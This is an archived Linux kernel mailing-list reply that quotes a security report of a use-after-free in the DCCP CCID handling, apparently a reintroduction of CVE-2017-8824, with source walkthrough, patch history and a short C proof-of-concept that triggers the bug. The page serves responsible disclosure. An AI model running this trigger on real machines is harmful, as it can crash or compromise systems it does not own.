All of lore.kernel.org
 help / color / mirror / Atom feed
* Re: DCCP Bug report
       [not found] <CANgvvt4Wi6nFJxufDFEbgW1YPwdV4wXeCgn-yu673D9oRoHJaw@mail.gmail.com>
@ 2020-06-20 17:34 ` Dan Carpenter
  0 siblings, 0 replies; only message in thread
From: Dan Carpenter @ 2020-06-20 17:34 UTC (permalink / raw)
  To: Leonardo Almiñana; +Cc: leonardo.alminana, security, netdev

This one is already publicly known because syzbot discovered it last
November.  I have added netdev to the CC list.  Unfortunately, DCCP
seems orphaned.

https://lore.kernel.org/lkml/20191121201433.GD617@kadam/

regards,
dan carpenter

On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo Almiñana wrote:
> A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel.
> 
> When a DCCP socket connection happens one of the functions called is
> dccp_hdlr_ccid.
> 
> static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx)
> {
>     struct dccp_sock *dp = dccp_sk(sk);
>     struct ccid *new_ccid = ccid_new(ccid, sk, rx);
> 
>     if (new_ccid == NULL)
>         return -ENOMEM;
> 
>     if (rx) {
>         ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk);
>         dp->dccps_hc_rx_ccid = new_ccid;
>     } else {
>         ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk);
>         dp->dccps_hc_tx_ccid = new_ccid;
>     }
>     return 0;
> }
> 
> The function allocates a new CCID and assigns it to the sock.
> * If an old CCID is found then it's deleted.
> 
> void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk)
> {
>     if (ccid != NULL) {
>         if (ccid->ccid_ops->ccid_hc_rx_exit != NULL)
>             ccid->ccid_ops->ccid_hc_rx_exit(sk);
>         kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid);
>     }
> }
> 
> void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
> {
>     if (ccid != NULL) {
>         if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
>             ccid->ccid_ops->ccid_hc_tx_exit(sk);
>         kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
>     }
> }
> 
> When the socket is disconnected dccp_disconnect is invoked, this function
> leaves dp->dccps_hc_tx_ccid unaltered.
> 
> It is possible to copy the socket including dangling references. To
> accomplish
> it the socket has to be put into LISTEN state.
> 
> struct sock *dccp_create_openreq_child(const struct sock *sk,
>                        const struct request_sock *req,
>                        const struct sk_buff *skb)
> {
>     /*
>     * Step 3: Process LISTEN state
>     *
>     * (* Generate a new socket and switch to that socket *)
>     * Set S := new socket for this port pair
>     */
> 
>     struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);
> 
>     [...]
> 
>     /*
>     * Activate features: initialise CCIDs, sequence windows etc.
>     */
>     if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) {
>         sk_free_unlock_clone(newsk);
>         return NULL;
>     }
> 
>     [...]
> }
> 
> The call to inet_csk_clone_lock allocates a new socket and
> the contents of sk are copied to newsk. Next dccp_feat_activate_values gets
> called, which ends up calling dccp_hdlr_ccid.
> 
> Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called
> to
> destroy the CCID object while the source socket is still holding references
> to
> it. The UAF can be triggered by operating over the CCIDs from the original
> sock
> after the child sock has freed it.
> 
> 
> Original patch that "fixed" CVE-2017-8824:
> https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76
> 
> The patch was broken as it can been seen the following commit:
> https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2
> 
> Things were still broken, so ccid_hc_tx_delete was removed :
> https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1
> 
> The last patch leaves things almost exactly as they were with CVE-2017-8824.
> The difference is that now only TX is affected, making exploitation harder
> for
> the following reasons:
>     - RX's size made it easy to produce kmalloc block collisions, with TX
> it isn't.
>     - The actual freeing of the object is deferred and might happen in a
> different
>       context because of RCU.
> 
> 
> Proof of Concept
> ================
> 
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> 
> 
> int main(int argc, char *argv[])
> {
>     struct sockaddr_in in1 =
>     {
>         .sin_family = AF_INET,
>         .sin_port = 0xaaaa
>     };
> 
>     struct sockaddr_in in2 =
>     {
>         .sin_family = AF_INET,
>         .sin_port = 0xbbbb
>     };
> 
>     struct sockaddr_in in3 = { 0 };
> 
>     int fd1 = socket(PF_INET, SOCK_DCCP, 0);
>     int fd2 = socket(PF_INET, SOCK_DCCP, 0);
> 
>     bind(fd1, (struct sockaddr*)&in1, sizeof(in1));
>     listen(fd1, 1);
>     connect(fd2, (struct sockaddr*)&in1, sizeof(in1));
>     connect(fd1, (struct sockaddr*)&in3, sizeof(in3));
>     connect(fd2, (struct sockaddr*)&in3, sizeof(in3));
>     bind(fd2, (struct sockaddr*)&in2, sizeof(in2));
>     listen(fd2, 1);
>     connect(fd1, (struct sockaddr*)&in2, sizeof(in2));
>     close(fd1);
>     close(fd2);
> 
>     return 0;
> }
> 
> ### ### ### ### ### ### ### ### ### ### ### ### ###
> 
> Please use my company email for any future communications, I was forced to
> use this one at the moment because your MTA refuses to accept the email
> from our provider (zoho) due to a spamcop related issue.
> 
> leonardo.alminana@tacitosecurity.com
> 
> Regards.
> 
> Leonardo Almiñana
> Tacito Security

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2020-06-20 17:35 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
     [not found] <CANgvvt4Wi6nFJxufDFEbgW1YPwdV4wXeCgn-yu673D9oRoHJaw@mail.gmail.com>
2020-06-20 17:34 ` DCCP Bug report Dan Carpenter

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.